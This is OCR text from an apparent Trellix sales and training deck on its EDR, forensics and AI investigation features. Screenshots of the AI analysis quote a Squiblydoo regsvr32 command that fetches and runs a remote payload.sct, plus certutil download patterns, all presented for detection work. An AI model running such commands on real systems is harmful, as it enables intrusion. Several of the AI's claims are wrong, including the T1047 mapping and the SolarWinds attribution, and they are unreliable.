ransomware but doesn't
investigate with forensics for
root cause analysis and just
reimages systems to
recover.

The organization gets hit by
ransomware again because
they never understood the
attack vector and didn't
improve their security
posture.

Trellix Forensics provides
advanced tools for
responders to understand
the scope of an attack and
root cause analysis to
understand how to improve
controls and prevent attacks
from reoccurring.
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Impactful Endpoint Incidents

TrelliX




X ENDPOINT SECURITY DASHBOARD ~ ALERTS  HOSTS v RULES  ENTERPRISESEARCH  ADMINY  MODULES™

28 % oy

total hosts
with alerts

All Exploits blocked on Alerts detected on Exploits on Malware on

0 hosts 1 high-value host hosts 23 host

RECENT FILE ACQUISITIONS View all CONTAINED HOSTS

No recent file acquisitions or t

() Py anared & O0requestsfor contalnment
© oile aca fal & ocontainments failed
ACTIVE HOSTS Daily : INACTIVE HOSTS

have not checked in for 30 days or more
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Recap of Trellix Endpoint Protection Stack

High-level overview of what it does and why it would matter

Component What it does: Why needed? Stakeholder
Name
Trellix ePO Central management of endpoint protection Scalable, On-premises, SaaS, Workplace
policies and reporting and Sec Ops Team
Trellix ENS NGAV, Anti-Malware and Threat Protection = Compliance, Award-winning protection, highly ~Workplace
using Intelligence, Signatures, Exploit configurable, customized rules, alternative to  and Sec Ops Team
Prevention, Firewall and Behavioural Defender; supplement HX
Rules. or other EDR
Trellix Insights Taking proactive approach to prevent Understands trending threats across Sec Ops Team
attacks before attacks happen. Ability to countries / industries.
enhance security posture.
Trellix TIE Add local file reputations from threat Reduce MTTR, add own indicators of Sec Ops Team
intelligence and sandbox. compromise for better protection
Trellix EDR Al-guided investigation. Allows tier 1 Detect threats that bypass prevention tools; Sec Ops Team
incident responders to do more. Threat investigate incidents; hunt for new threats
hunting.
Trellix Forensics Proactive threat detection, investigation, Investigate incidents, root cause analysis; Sec Ops Team
(HX) forensics and hunting forensic investigations; replace Sysmon or 3"

Party forensics

TrellixX




TrelhxX

EDR wi.th
Forensics

Endpoint Security



Safe Harbor
Statement

Legal
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This slide deck may include roadmap
information, projections or other
information that might be
considered forward-looking. While
these forward-looking statements
represent our current judgment on
what the future holds, they are
subject to risks and uncertainties
that could cause actual results to
differ.

TreliX
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Roadmap details is not included

Contact PM - Steen Pedersen for getting

TreliX
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1. This is the merger of Trellix EDR and the HX xAgent (Trellix
Forensics)

2. — the existing agent/client that the HX product uses today, managed by HX Server

3. - the existing client that the EDR product uses today

4. - (aka McAfee Agent or MA) - agent that facilitates communication to ePO and

DXL Fabric (ePO OnPrem and ePO Saas, EDR Cloud, TIE)

5. — name of the services within the EDR with Forensics
0. — evolving platform that will contain tiles for all products (HX, EDR, ePO, VX, Helix)
7. — SKU which combines MV6 and HX offerings

TrellixX
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TreliX

TreliX ePO - Policy Catalo,

W FAVORITES @ System Tree

Policy Catalog

{ Products

Active Directory Connector
Common Appliance Management
Data Loss Prevention

DLP Appliance Management

Endpoint Security Adaptive Threat Protection

Endpoint Security Common
Endpoint Security Firewall
Endpoint Security Threat Prevention
Endpoint Security Web Control
Management of Native Encryption
Skyhigh Client Proxy

Trellix Agent

Trellix DXL Client

Trellix EDR

Trellix EDR with Forensics

Trellix Endpoint

Trellix Forensics

Policies managed by ePO

Dashboards  Trellix Insights  Policy Catalog

{ Trellix EDR with Forensics

> General

) Detection

v Investigation
Name

RDR Update
Trellix Default
v Streaming
Name

RDR Default

sheetal

Stream data to custom reposit...

Trellix Default

v Remediation
Name
RDR Update

Trellix Default

Rule Assignments
None

None

Rule Assignments
None
None
None

None

Rule Assignments
None

None

L5}
3
]
a
o
o
h

Assigned To

workstations-WashDC Workst...

GlobalRoot

Assigned To

workstations-WashDC Workst...

7ATW1122H2
None

GlobalRoot

Assigned To

workstations-WashDC Workst...

GlobalRoot

Actions
Edit
Edit
Edit

View v

Actions
Edit

View v/
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TreliX

Properties in ePO

My Organization\DNK-Denmark\DESKTOP-BENLPM4

System Properties Products Applied Polic Applied Client Tasks Quarantined Content
Product Version
Agent 5.8.2.610
Trellix DXL Client 6.0.3.1199
Endpoint Security Adaptive Threat Protection 10.7.0.6887
Endpoint Security Threat Prevention 10.7.0.6711
Endpoint Security Firewall 10.7.0.6486
Endpoint Security Platform 10.7.0.6809
Endpoint Security Web Control 10.7.0.6126
Trellix EDR with Forensics 50.0.0.579

Product properties for Trellix EDR with Forensics
Trellix EDR with Forensics

Product Version

Language

Installed Path

Action Type

Reported Date

Status

General

Installed Path

Language

Product Version

Trellix EDR with Forensics Features
Contextinfo

ESPAgent

FileHashing

NetworkFlow

NetworkFlow - Network Sniffing

Reactions

Threat

vents | Trellix Agent | Native Encryption

Action Type
Install
Install
Install
Install
Install
Install
Install
Install

XCLIENT

50.0.0.579

English (United States)
C:\Program Files\Trellix\XClient

Install

24 10:20:30 PM UTC

Successful

ogram Files\Trellix\XClient
English (United States)

50.0.0.579

enabled

enabled




Demo
and _
training

TrelixX ePO - Dashboards

K FAVORITES (@ SystemTree TIEReputations Dashboards Trellix Insights Policy Catalog

Dashboards o win rorensics inrstrucure >

v | EDRwith Forensics per Containment Status v | EDRwith Forensics per Product Version

Containment Status

Number of Systems.

500.0479 B
m 5000377

m False
Total 18

EDR with Forensics per Last Trace Communication v | EDRwith Forensics per DXL Connectivity

Number of Systems

m True 16
2

Trellix
EDR wi.th
Forensics

r of Systems.

" osnoza 05126124 0672124

<

EDR with Forensics IOC Threat Events in Last 4 hours

Threat Type Number of Threat Events

Total ]

@ HELP

TreliX




Values

“Value added to HX

Value

Advanced Policy Flexible policy assignment, orchestration and management in ePO - Policy

Management history, approval, compare, revert, export, import, and clear policy Yes Yes
assignments.

Separations of duties Trellix Agent - Deploy, update, content, policy enforcement, scheduler,
repositories, monitor modules on the endpoints and report properties back Yes Yes
to ePO

Real time reputation Provide Data Exchange Layer (DXL) - Fast Reputation lookup, Link to

lookup OpenDXL and API integrations Yes Yes

Improved scalability One ePO can handle multiple HX servers and move endpoints between

and availability S:gfzz:lt HX servers for migration and consolidation and for the forensics Yes Yes

Multiple Agent Handlers improve availability and scalability.

TrellixX




Values

“Value added to HX

Value

Custom Dashboard, Generate custom Dashboards, queries, and reports in ePO (alert,

Reporting and Queries management data, and compliance reporting) Schedule and email reports Yes Yes
and queries results automatically

Detect unmanaged Identify unmanaged endpoints on the network - Rogue System Detection

endpoints (RSD) Yes (planned)

Detect unmanaged Identify unmanaged virtual servers using Hypervisor connection (Cloud

virtual servers Workload Security add-on) Yes No

Identify software Report on software installed on Windows endpoints - System Information

installed Reporter (SIR) Yes (planned)

TrellixX




“Value added to HX

Additional Detections
Trace data
Off-line search

Investigation Playbooks

Trellix Wise - Al threat
hunting and
investigations

TrellixX

Value

Greater fidelity alerting due to process-based multi-event correlations.
(BANF)

Trace data reduces need for hunting on the endpoint - improve end-user
experience

Search trace data stored in cloud - Historical Search and Device Search,
also available when the endpoint is offline

Assisted and guided alert assessments for newer analysts

Hunt and search in your native language

Generate Executive summary

Support analyst with way forward - observe, gather, conclude and react
Knowledge Graph

Values

No

No

No

No

No

Yes

Yes

Yes

Yes

Yes




Values

“Value added to HX

Real time Hunt and Real time hunt and reactions. EDR Real time Search and Reactions.

Reactions Initiate any script on any endpoints or group of endpoints in real time No Yes
(Win, Linux and macOS)

Extend endpoints Single Trellix Agent can manage policies for multiple modules - DLP,

capabilities Encryption, Host Firewall, Web Control, (Application Control - coming to Yes Yes

Cloud), Adaptive Threat Prevention, Proxy Client

Scheduled reactions and Initiate any script or package on any endpoints or group of endpoints now,
packages next time connected and scheduled (Win, Linux and macOS) using ePO Yes No
Endpoint Deployment Kit (EEDK)

TrellixX




Values

“Value added to HX

Real time file reputation Integration with TIE provide visibility of any file executed on any

lookup in Threat medII)EOimS ise R 1 ingle or 1 ber of file hash Yo Y
. et Enterprise Reputation on single or large number of file hashes es es
?Il‘tﬁ;l)lgence Rk Integrate with Threat Sharing platforms like ThreatHQ, MISP

Block the execution and get alerted

TrellixX
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Use Cases

* Natural language query for historical and
real-time search

* Multilingual threat hunting
* Accelerated investigations

* Dossier Mode provides executive summaries
of an incident

* Interactive Mode enables analysts
to uncover new security insights

* Knowledge Graph visually shows the
attack path
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Multilingual Threat Hunting

TrelhiX EDR

Historical Search | Search with Wise nom IP pas 10.1.1.243] Last 30 days

GENERATED QUERY

IpAddress |= "10.1.1.243"

Showing 500 of 50,000 results

by that columr
Trace Date Detection Date Artifact Activity Event Details Device Name
v

Apr 15, 2024 9:29:53 AM Apr 15, 2024 9:30:32 AM Network Network Accessed Unique Ruleld: 19000, Network AccessType: connection_opened, Context Trace Id: 4fa5ca2c-02e0-4bf7-8e77-155d SSRW200464
d67d4512, Pid: 4596, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: 643EC58E82E0272C
97C2A59F6020970D881AF19C0AD5029DBICI58C13B6558C7, Ppid: 4596, Trace Id: dfe256d0-39b7-4469-b077-b75
29cd99310, Network Protocol: tcp, MAGUID: A5196E62-FOBC-11EE-3E35-005056AC72AD, Network DnsName: ["pro
xy.ess.gslb.entsec.com"], Network Srclp: 10.26.44.174, Network SrcPort: 56266, IpAddress: 10.194.0.190, Network

Direction: outbound, OS: windows, Parent Trace Id: dbf094e7-9192-4743-b263-c7edebf87444, Network DstPort: 90

Apr 15, 2024 9:24:05 AM Apr 15, 2024 9:24:21 AM Network Network Accessed Unigue Ruleld: 19000, Network AccessType: connection_opened, Context Trace Id: 841b488e-4d48-4e45-8b4d-d7f 5SRW1022H264

ed1556f1c, Pid: 2796, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: F13DE58416730D2
10DAB465B242E9C949FB0OA0245EEF45B07C381F0C6C8A43C3, Ppid: 2796, Trace Id: 50caf2ec-3df0-477a-9bef-6fd8
6e12f754, Network Protocol: tcp, MAGUID: 062D6384-FOBD-11EE-16F5-005056AC10BC, Network DnsName: ["prox
y.ess.gslb.entsec.com"], Network Srcip: 10.26.44.173, Network SrcPort: 55469, IpAddress: 10.194.0.190, Network Di
rection: outbound, OS: windows, Parent Trace Id: 2f59d605-776e-4169-9397-5d4ae3568a65, Network DstPort: 909
Apr 15, 2024 9:23:37 AM Apr 15, 2024 9:23:45 AM Network Network Accessed Unique Ruleld: 19104, Network AccessType: connection_opened, Context Trace Id: e3f544b6-fffd-4769-bdf9-16f151 5SRW10RS5X64
a470c3, Pid: 5512, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: 2B105FB153B1BCD619
B95028612B3A93C60B953EEF6837D3BB0099E4207AAF6B, Ppid: 5512, Trace Id: ab437d89-d94e-44a1-a458-19ff1d
1e6e2a, Network Protocol: tcp, MAGUID: E2710630-FOBC-11EE-15AF-005056ACFEB2, Network DnsName: ["wpad.e
de.bea.lab","pacfile.itm.mcafee.com"], Network Srclp: 10.26.44.172, Network SrcPort: 51966, IpAddress: 10.44.93.2

39, Network Direction: outbound, OS: windows, Parent Trace |d: e1b1c48d-bb4b-4f65-9ae4-5291e4ce643f, Networ




§Acce|erated Investigations Using Trellix Wise

TrellX | EDR

Monitoring

Threats by Ranking v

‘ Filter by keyword

View ‘ All

Command Line
Interpreter:powershell.exe

Threat-Sample2.exe

£* DG_x86.exe

Q dash

Apr 8, 2024
3:54:00 AM

Apr 8,2024
2:16:24 AM

Apr 8,2024
2:07:55 AM

Mar 21, 20...
2:34:32 AM

4

Total Threats High

Threat-Sample2.e... «

Initial trigger Trace detection
Feb 12, 2024 5:40:22 AM

Apr 8, 2024 2:16:24 AM
Affected devices 2

Age 64 days

v Process Attributes

First detection
Last detection

First Name
Threat-Sample2.exe

MDS
247FC96F37798A3022ADBOE47BASDA93

SHA-1
28AFF3CAC780A5F7D75064C671DC5F67
ASFDC39B

SHA-256
211C2E02764A3B683948E08E44FB73B83
FECDDAA6B567A40DBCB1AAEB6EE7DE1

2

Medium

Threat Details

> Device:

v Threat Behavior

1P4AW1022H264 Mar 26, 2024 8:55:23 AM

2 affected devices

O m & A

2 minutes ago Past 30 days v

Device Actions

Techniques Observed(5)

Windows Management Instrumentation T1047 (Execution)

Windows Command Shell T1059.003 (Execution)

Ingress Tool Transfer T1105 (Command and Control)

Regsvr32 T1218.010 (Defense Evasion)

NTFS File Attributes T1564.004 (Defense Evasion)
v Process Activity

Summary View

Y Threat-Sample2.exe

Y Threat-Sample2.exe
Y cmd.exe

Y cmd.exe

regsvr32.exe

Image path

Type

Parent process

Command Line

Process ID

MITRE ATT&CK™ Matrix Suspicious Indicators(9)

Portable Executable (PE) file created/moved into folder commonly used by malware
Suspicious process created a file at a commonly abused path

Suspicious binary executed cmd.exe

Windows Command Shell containing a public IP address

Process running from suspicious path attempted to launch cmd.exe

Observed (compa:

C:\Users\cdaauto\Desktop\threatfiles\threatfiles\Threat-Sample2.exe

"C:\Users\cdaauto\D P’
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Medium

. » Wise
IGCEIEE]S I

& Welcome to Trellix's new Al capabilities! Choose an option to test
> Device: | 1P4W1022H264 Mar 26, 2024 8:55:23 AM 2 affected devices it out.

I n te ra Ct ive M Od e v Threat Behavior Select Mode: @

Techniques Observed(s) MITRE ATT&CK™ Matrix Suspicious Indicatc @ Interactive made
Chat bot like interaction with initial summary plus suggested contextual
Windows Management Instrumentation T1047 (Execution) Portable Executabl prompts

Interactive Mode enables the Yies CorR SR G naidia (St o DR @
discovery of new insights and their

MITRE mappings through guided B S

threat hunting by helping analysts ———

answer questions:

Ingress Tool Transfer T1105 (Comman d and Control) Suspicious binan

Summary View
' Threat-Sample2.exe

Threat-Sample2.
LR D C:\Users\cdaauto\Desktop\threatfiles\threatfi

¥ cmd.exe

* When did the incident e
happen?

* What do | do with this
information? omrend e -Clllsersicdasutr\Daskonpltivestilesiires

* What actions can | take?

*Where can | get more
information?

TrelliX




= TrelixX EDR

Monitoring

Threats by Ranking v «

| Filter by keyword

View ‘ All

Command Line
Interpreter:powershell.exe

Threat-Sample2.exe

£* DG_x86.exe

£¥ dash

TrelliX

Apr 8,2024
3:54:00 AM

Apr 8, 2024
2:16:24 AM

Apr 8, 2024
2:07:55 AM

Mar 21, 20...
2:34:32 AM

4

Total Threats High

Threat-Sample2.e... «

Trace detection
Feb 12, 2024 5:40:22 AM
Last detection Apr 8, 2024 2:16:24 AM
Affected devices 2
Age 64 days

v Process Attributes

Initial trigger
First detection

First Name
Threat-Sample2.exe

MDS5
247FC96F37798A3022ADB9E47BASDA93

SHA-1
28AFF3CAC780A5F7D75064C671DC5F67
ASFDC39B

SHA-256
211C2E02764A3B683948E08E44FB73B83
FECDDAA6B567A40DBCB1AAEB6EE7DE1

Medium

Threat Details

> Device: 1P4W1022H264 Mar 26, 2024 8:55:23 AM

~ Threat Behavior

2 affected devices

Techniques Observed(5)

Windows Management Instrumentation T1047 (Execution)
Windows Command Shell T1059.003 (Execution)

Ingress Tool Transfer T1105 (Command and Control)
Regsvr32 T1218.010 (Defense Evasion)

NTFS File Attributes T1564.004 (Defense Evasion)
“ Process Activity

Summary View

Y Threat-Sample2.exe
' Threat-Sample2.exe
Image path
Y cmd.exe

Y~ cmd.exe

Type
regsvr32.exe
Parent process

Command Line

Process ID

MITRE ATT&CK™ Matrix Suspicious Indicatc
Portable Executabl
Suspicious process
Suspicious binary ¢

Windows Commar|

Process running fr

Observed

C:\Users\cdaauto\Desktop\threatfiles\threatfi

"C:\Users\cdaauto\Desktop\threatfiles\threat

5320

a m & A&

11 minutes ago Past 30 days

v Detection Analysis

Summary:
The summary of the events indicates that there is a suspicious
process execution involving the Regsvr32.exe utility to potentially
bypass application whitelisting security controls. The most
important event is the execution of the Regsvr32.exe process with a
command-line parameter that references a public IP address and a
script file (payload.sct). This suggests a potential Command and
Control (C2) activity or a Squiblydoo attack. The investigation should
start by analyzing the Regsvr32.exe process and the associated
script file. The suspicious processes include Regsvr32.exe, Cmd.exe,
and the Threat-Sample2.exe executable. The detection was first
observed on the host with the hostname 1P4W1022H264.

keyPoints:

- The Regsvr32.exe process was executed with command-line
parameters that reference a public IP address and a script file
(payload.sct), which is a common technique used in Squiblydoo
attacks to bypass application whitelisting controls.

- The Threat-Sample2.exe executable was executed, which is a
suspicious process that created and deleted a DLL file (python27.dll)
in the temporary directory.

- The Cmd.exe process was executed multiple times, potentially to
execute additional commands or scripts.

- The events suggest a potential attempt to establish a Command
and Control (C2) channel or to execute malicious code on the
system.

- The detection was first observed on the host with the hostname
1P4W1022H264, which should be the primary focus of the
investigation.

RATE THIS RESPONSE

Provide more Detail l l Brief me on related MITRE TTPs |

Generate a Knowledge Graph ] Suggest some Recommended Actions

Assess Accuracy | | Show Device Information |

Tell me about Related Breaches ‘
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v More Details

Summary:

The summary of the events indicates that there is a suspicious
process execution involving the Regsvr32.exe utility to potentially
bypass application whitelisting security controls. The most
important event is the execution of the Regsvr32.exe process with a
command-line parameter that references a public IP address
(216.58.194.85) and a script file (payload.sct). This suggests a
potential Command and Control (C2) activity or a Squiblydoo attack.
The investigation should start by analyzing the Regsvr32.exe
process and the associated script file. The suspicious processes
include Regsvr32.exe, Cmd.exe, and the Threat-Sample2.exe
executable. The detection was first observed on the host with the
hostname 1P4W1022H264.

keyPoints:
- Suspicious Regsvr32.exe Execution

- The Regsvr32.exe process was executed with the command-line
parameters "/u /n /s /i:http://216.58.194.85\folder\payload.sct
scrobj.dil". This is a common technique used in Squiblydoo attacks
to bypass application whitelisting controls by executing a script file
from a remote location.

- The Regsvr32.exe process was executed from the path
"C:\Windows\System32\regsvr32.exe", which is a legitimate
Windows utility but can be abused by attackers.

- The user account "CDA" executed the Regsvr32.exe process,
which has a high integrity level of 3.0, indicating potential privilege
escalation.

- Suspicious Cmd.exe Executions

- The Cmd.exe process was executed multiple times, potentially to
execute additional commands or scripts.

- One of the Cmd.exe executions used the command-line "cmd /c
""REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct
scrobj.dil"™", which is similar to the Regsvr32.exe execution and
suggests a multi-stage attack.

- The Cmd.exe processes were executed from the path
"C:\Windows\System32\cmd.exe", which is a legitimate Windows
utility but can be abused by attackers.

- Suspicious Threat-Sample2.exe Execution
- The Threat-Sample2.exe executable was executed, which is a

TrelliX

Investigative Context

Vv Related MITRE Information

T1218.010 : Regsvr32

Summary: Regsvr32.exe is a command-line program used to
register and unregister object linking and embedding controls,
including dynamic link libraries (DLLs) on Windows systems.
Adversaries may abuse Regsvr32.exe to proxy execution of
malicious scripting code.

Description: The Regsvr32.exe process (Process ID 1580) was
executed with the command-line "REGSVR32 /u/n /s
/i:http://216.58.194.85\folder\payload.sct scrobj.dll". This command
attempts to download and execute a script file (payload.sct) from a
remote public IP address (216.58.194.85). This technique is known
as "Squiblydoo" and is commonly used by adversaries to bypass
application whitelisting and execute malicious code. The goal is to
proxy execution of malicious scripts by abusing a trusted Windows

utility.

Adversary Insights: Adversaries may use this technique to bypass
application whitelisting solutions and execute malicious code on
compromised systems.

Why are Observed Actions for MITRE: The observed execution of
Regsvr32.exe with the /i parameter and a remote script file aligns
with the MITRE ATT&CK technique T1218.010 (Regsvr32).

Related Tactics: Defense Evasion (Tactic ID: TAO00S), Execution
(Tactic ID: TA0002)

Procedures Include:

1. Regsvr32.exe /s /u /i:https://example.com/file.sct scrobj.dll
(Download and execute a script from a remote location)

2. Regsvr32.exe /s /n /e /u /i:https://example.com/file.sct scrobj.dll
(Execute a script from a remote location without prompting)

3. Regsvr32.exe /s /n /i:file.sct scrobj.dll (Execute a local script file)
4. Regsvr32.exe /s /u fifile.sct scrobj.dll (Execute a local script file
and unregister the DLL)

5. Regsvr32.exe /s /n /e /u /i:file.sct scrobj.dll (Execute a local script
file without prompting and unregister the DLL)

T1059.003 : Windows Command Shell

Summary: Adversaries may abuse the Windows Command Shell
(cmd.exe) to execute commands, scripts, or binaries during the
course of an operation.

Description: Multiple instances of the Cmd.exe process were
executed, potentially to run additional commands or scripts. One
instance (Process |ID 9248) executed the command
"C:\Windows\system32\cmd.exe /c cmd /c ""REGSVR32 /u /n /s
fi:http://216.58.194.85\folder\payload.sct scrobj.dll""", which
invokes the Regsvr32.exe utility to execute a remote script file
(payload.sct) from a public IP address (216.58.194.85). Another
instance (Process ID 8552) executed the command "cmd /c
""REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct
scrobj.dll"", which is similar to the previous command.

Adversary Insights: Adversaries may use the Windows Command
Shell to execute various commands, scripts, or binaries during
different stages of an operation, such as gaining initial access,
executing payloads, or performing lateral movement.

Why are Observed Actions for MITRE: The observed execution of
Cmd.exe to invoke the Regsvr32.exe utility and execute a remote
script aligns with the MITRE ATT&CK technique T1059.003 (Windows
Command Shell).

Related Tactics: Execution (Tactic ID: TA0002)

Procedures Include:

1. cmd.exe /c <command> (Execute a single command)

2. cmd.exe /k <command> (Execute a command and keep the
command prompt open)

3. cmd.exe /c "script.bat” (Execute a batch script)

4. cmd.exe /c "powershell.exe -EncodedCommand
<encoded_command>" (Execute an encoded PowerShell command)
5. cmd.exe /c "certutil.exe -urlcache -split -f
https://example.com/file.exe file.exe" (Download a file using
certutil.exe)
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Detection Accuracy for Confidence

\ Detection Accuracy

The detection and related suspicious indicators appear to be accurate and reasonable based on the provided events. Here's a step-by-step
explanation:

1. Regsvr32.exe Process Execution:

- The Regsvr32.exe process was executed with command-line parameters that reference a public IP address (216.58.194.85) and a script file
(payload.sct).

- This is a common technique used in Squiblydoo attacks to bypass application whitelisting controls by abusing the functionality of the
Regsvr32.exe utility.

- The command-line parameters "/u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll" suggest an attempt to register the script file
with the system, which could lead to the execution of malicious code.

2. Threat-Sample2.exe Executable:

- The Threat-Sample2.exe executable was executed, which is a suspicious process that created and deleted a DLL file (python27.dll) in the
temporary directory (C:\Users\cdaauto\AppData\Local\Temp\_ME|53202).

- The creation and deletion of this DLL file within a short time frame is a common technique used by malware to hide its presence and avoid
detection.

3. Cmd.exe Process Execution:

- Multiple instances of the Cmd.exe process were executed, potentially to execute additional commands or scripts.

- The execution of Cmd.exe from the Threat-Sample2.exe process and the Regsvr32.exe process suggests a potential attempt to execute
further malicious actions.

4. Host |dentification:
- The detection was first observed on the host with the hostname 1P4W1022H264, which should be the primary focus of the investigation.

@ Overall, the detection and related suspicious indicators are accurate and reasonable based on the provided events. The combination of the

Regsvr32.exe process execution, the Threat-Sample2.exe executable, and the multiple Cmd.exe process executions strongly suggests a
potential attempt to bypass security controls, execute malicious code, and establish a Command and Control (C2) channel on the affected
host.

RATE THIS RESPONSE
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v Knowledge Graph

@ Cmd.exe

Knowledge Graph

1P4AW1022H264 @

hosted

Threat-Sample2.exe @

python27.dl _MEI53202

Regsvr32.exe

216.58.194.85 @

Which user?
What file of application?
Where?

How?

RATE THIS RESPONSE




Guided Response Actions
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v Recommended Actions @

The next steps should focus on preserving the evidence and further investigating the suspicious activities observed on the host with the Evidence Preservation
hostname 1P4W1022H264. The Regsvr32.exe process execution with the public IP address and script file reference indicates a potential
attempt to establish a Command and Control (C2) channel or execute malicious code on the system. The Threat-Sample2.exe executable and
associated DLL file creation and deletion in the temporary directory are also highly suspicious. To mitigate the risk, the SOC analyst should

@ consider isolating the affected host, but should carefully evaluate the potential business impact of this action. The evidence should be Host Isolation

preserved by collecting forensic images of the affected host, capturing network traffic logs, and analyzing the Regsvr32.exe process and the
referenced script file. The data exposure assessment should consider the potential for data exfiltration or further compromise of the system.
The business impact could be significant if the attack is successful, as it may lead to unauthorized access, data breaches, or disruption of
critical business operations. This type of attack is often associated with advanced persistent threat (APT) groups or other sophisticated threat Assessment
actors, and a thorough investigation and response plan is crucial to address the potential risks.

Data Exposure

RATE THIS RESPONSE
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Device Risk Assessment
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Vv Device Information

Based on the provided detections and events, the following device/endpoint information is evident:

Device Name: 1P4W1022H264

User Name: cdaauto
OS: Windows 10 version 10.0.19041 @ . .
IP Addresses: 10.26.124.25 Comprehensive Device
MAC Address: 00:50:56:ac:5¢:35 Details

The context of this device suggests it is likely a workstation or desktop system, as it is running a client version of Windows 10 and the user
account "cdaauto" is accessing the system. There are no clear indications that this is a test or development environment, server, or specialized Attack Su rfa ce Deta | |5
system.

The key evidence supporting this includes: E nterprise Risk Value
- The Windows 10 client operating system version

- The user account "cdaauto" accessing the system
- The presence of a desktop application, "Threat-Sample2.exe", being executed on the system

Overall, the device appears to be a standard Windows 10 workstation or desktop system, potentially belonging to a regular user or employee

within the organization. @

RATE THIS RESPONSE
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v Summary

.
D OSS I e r M Od e The events indicate a potential malware attack involving defense evasion, command and control, and execution of malicious payloads. The

most important event is the execution of the regsvr32.exe process with a suspicious command line to download and execute a payload
from a public IP address. The investigation should start with the regsvr32.exe process and the downloaded payload. Suspicious processes
include regsvr32.exe, cmd.exe, and the initial Threat-Sample2.exe. The attack was first detected on the host 1P4W1022H264.

Dossier Mode provides executive
summaries of an incident that

. . Malicious Payload Execution
d eta | |S W h a t h a p pe ﬂ ed y W h e re It The events S:I\iow the exetcution of regsvr32.exe with a suspicious command line to download and execute a payload from a public IP

address (216.58.194.85). This is a known technique (T1218.010) used by adversaries to bypass application whitelisting and execute

h a p pe n ed ] Wh e n it h a p pe n ed ] malicious code. The suspicious processes involved are regsvr32.exe, cmd.exe, and the initial Threat-Sample2.exe.
and how to investigate and Command and Contro

The command line used by regsvr32.exe includes a public IP address (216.58.194.85), which could be an indicator of command and

re | N ed | a te q u | C k Iy. control (C2) communication. This suggests that the malware may be attempting to establish a connection with a remote server for
further instructions or data exfiltration.

V Findings

Defense Evasion

The use of regsvr32.exe to execute a payload is a known defense evasion technique (T1218.010) used by adversaries to bypass
application whitelisting and execute malicious code. Additionally, the events show the creation and deletion of temporary files, which
could be an attempt to cover tracks and evade detection.

Execution
The events show the execution of multiple processes, including cmd.exe, regsvr32.exe, and the initial Threat-Sample2.exe. These
processes are involved in the execution of the malicious payload and could be indicators of further malicious activities.

TrelliX




\ MITRE Techniques and Tactics

Windows Management Instrumentation (T1047)

The use of regsvr32.exe to execute a payload is a known technique (T1047) used by adversaries to abuse the Windows Management
Instrumentation (WMI) for execution and defense evasion. This technique allows adversaries to execute arbitrary code by leveraging the
trusted regsvr32.exe utility.

Windows Command Shell (T1059.003)
The events show the execution of cmd.exe, which is a Windows command shell utility. Adversaries often use command shells (T1059.003)
to execute malicious code, perform reconnaissance, and move laterally within a compromised environment.

Ingress Tool Transfer (T1105)

The command line used by regsvr32.exe includes a public IP address (216.58.194.85) from which a payload is downloaded. This is an
example of the Ingress Tool Transfer technique (T1105), where adversaries transfer tools or malicious code from a remote system to the
compromised host.

v Known Breaches

SolarWinds Supply Chain Attack

The SolarWinds supply chain attack, discovered in December 2020, involved the use of regsvr32.exe to execute malicious payloads. The
adversaries leveraged the trusted SolarWinds software to deliver the SUNBURST malware, which used regsvr32.exe to execute additional
malicious components. While the attack vector differs, the use of regsvr32.exe for execution is a common technique observed in both
incidents.

Emotet Malware

Emotet, a notorious banking Trojan, has been known to use regsvr32.exe to execute malicious payloads. The malware often employs
techniques like downloading payloads from remote servers and using legitimate utilities like regsvr32.exe for execution, similar to the
observed events. However, Emotet primarily targets financial institutions, while the current incident appears to be more widespread.

v Recommendations

Incident Response

The affected host (1P4W1022H264) should be isolated and investigated thoroughly. Evidence such as memory dumps, disk images, and
network traffic captures should be collected and preserved for further analysis. A comprehensive risk assessment should be performed
to determine the potential data exposure and business impact.

Malware Analysis

The downloaded payload (payload.sct) should be analyzed in a secure environment to understand its capabilities, persistence
mechanisms, and potential impact. Indicators of Compromise (loCs) should be extracted and shared with relevant stakeholders for
detection and prevention purposes.

RATE THIS RESPONSE
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Trellix Wise in EDR
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Threat Details

> Device: [ 1PawW1022H264 Mar 26,2024 8:55:23AM 2 affected devices

v Threat Behavior
Techniques Observed(S)
Windows Management Instrumentation T1047 (Execution)
Windows Command Shell T1059.003 (Execution)
Ingress Tool Transfer T1105 (Command and Control)
Regswr32 T1218.010 (Defense Evasion)

NTFS File Attributes T1564,004 (Defense Evasion)
 Process Activity

Summary View

¥ Threat-Sample2.exe
Threat-Sample2.exe
Image path
cmd.exe
d.
cmd.exe e
regsvra2.exe

Parent process

Command Line

Process ID

MITRE ATT&CK™ Matrix Suspicious Indicatc
Portable Executab|
Suspicious process
Suspicious binary ¢
Windows Commar,

Process running fr:

Observed

C:\Users\cdaauto\Desktop\threatfiles\threat

"C:\Users\cdaauto\Desktop\threatfiles\threat

a s @& A

8 minutes ago Past 30 days
Wise

Welcome to Trellix's new Al capabilities! Choose an option to test

itout.

Select Mode:

© Interactive mode

Chat bot like interaction with initial summary plus suggested contextual
prompts

@ Dossier mode

One off document analysis report

Trh;a Detection
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Generative Al Assistance
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= Trelix EDR = Monitoring

Monitoring

&2 WINWORD.EXE

Initisd wrigger Trace detection

First detection May 1, 2024 7:4527 AM

Last detection May 1, 2024 1055:46 AM

Affected devices

Age 3days
Take Action

v Process Attributes

First Name
WINWORD.EXE

MDS
TC22121F33AF2BADS656ACO930041 GEE

SHA-1
81852CB9950604EDA0918FE25CT 18096
28650823

SHA-256
3DAGEIS2BAFIIBBBTERIBTET BFOE1820
51EBA9411C2B6E649112F22F32DE63C2

Threat Details

¢ i &

> Device: || 138213-bbushes-Finance May 1, 2024 7:45:27 AM 2 affected devices Device Actions v
 Threat Behavior
Techniques Observed(29) MITRE ATTRCK™ Matrix Suspidous Indicators(44)
05 Credential Dumping T1003 (Credential Access) Detected binary doing network discovery
LSASS Memory T1003.001 {Credentisl Access) Created a new sarvice using a non-GUI binary
System Network Configuration Discovery T1016 (Discovery) Detocted binary craating services on remote system
Remote System Discovery T1018 (Discavery) Enumerated files and directories via PowerShell
Remote Desktop Protogol T1021.001 (Lateral Movement) Rundli32 executed with no parameters. Possible defense evasion attemet
~ Process Activity
Summary View = P
V¥ OUTLOOK.EXE Observed mpave t> SANS DFR
v
WINVORD EXE Image path C:\Program Fles 15\ DRD.EXE
